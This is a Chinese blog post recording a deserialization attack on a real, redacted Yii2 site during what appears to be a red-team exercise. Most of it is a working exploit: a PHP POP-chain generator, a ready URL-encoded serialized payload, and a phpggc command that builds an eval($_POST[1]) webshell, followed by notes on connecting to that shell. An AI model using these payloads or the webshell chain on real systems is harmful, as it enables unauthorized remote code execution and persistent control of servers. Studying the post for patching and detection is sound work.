记一次yii2实战反序列化过程

前言:yii2实战反序列化过程getshell的笔记,记录和分享下,同时也感谢小贺哥的分享

过程

hw期间碰到的,目标某厂商的源码二次开发的yii2的站点,如下图所示

发现某POST接口存在一个反序列化的点,其还需要接收一个POST的参数

https://xxxxxxx/web/index.php?r=接口&参数=6

因为尝试的时候发现了该站点yii2版本是<2.0.38的,因为发现通过BatchQueryResult的POP链可以直接进行利用,利用链代码如下所示

<?php

namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo";
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;

        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }

    $b = new BatchQueryResult();
    echo urlencode(serialize($b));
}

POC如下:

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D

是可以成功执行phpinfo的,但是会发现这个POP链条是通过call_user_func来进行执行的,所以需要传递相关的命令函数和执行命令的参数,但是如下call_user_func这种调用情况是不满足的

所以这里的话要么需要通过别的pop链来进行利用或者是在这个调用的基础上去寻找其他的调用链

这里通过phpggc中的yii2的利用链条来进行生成 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii2/RCE/2/gadgets.php

生成命令为:./phpggc Yii2/RCE2 eval\(\$\_POST[1]\) | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g'

连接期间还有些bug,因为发送url编码的数据在蚁剑中会再次被进行url编码,所以我自己是通过burp进行替换来进行解决的,最终连接如下效果

posted @ 2022-07-19 22:39  zpchcbd  阅读(1092)  评论(0)    收藏  举报